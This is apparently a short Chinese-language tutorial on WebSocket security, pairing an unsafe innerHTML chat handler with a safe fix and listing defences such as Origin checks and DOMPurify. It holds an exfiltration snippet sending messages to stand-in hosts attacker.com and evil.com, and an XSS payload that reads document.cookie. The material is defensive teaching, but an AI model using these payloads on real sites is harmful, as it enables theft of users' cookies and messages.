1. WebSocket协议特点
WebSocket提供全双工通信通道,但缺乏同源策略保护,容易受到XSS攻击。
不安全的WebSocket消息处理
ws.onmessage = function(e) {
document.getElementById('chat').innerHTML += e.data; // XSS!
};安全实现
ws.onmessage = function(e) {
var msg = JSON.parse(e.data);
if(msg.type === 'chat') {
var div = document.createElement('div');
div.textContent = msg.content; // 安全
document.getElementById('chat').appendChild(div);
}
};2. WebSocket劫持攻击
攻击者可以通过XSS建立恶意WebSocket连接,窃取实时通信数据。
// 恶意WebSocket连接
var ws = new WebSocket('wss://attacker.com/ws');
ws.onmessage = function(e) {
// 窃取所有消息
fetch('https://evil.com/log', {
method: 'POST',
body: e.data
});
};3. 消息注入攻击
// 注入恶意消息到聊天室
ws.send(JSON.stringify({
type: 'message',
content: '<img src=x onerror=alert(document.cookie)>'
}));4. 防御措施
- 验证消息来源: 检查Origin头
- 内容清理: 使用DOMPurify清理HTML
- 限流保护: 防止消息洪泛攻击
- Token验证: WebSocket握手时验证身份
// 服务端验证Origin
ws.on('connection', function(socket, request) {
var origin = request.headers.origin;
if(origin !== 'https://trusted-domain.com') {
socket.close();
return;
}
});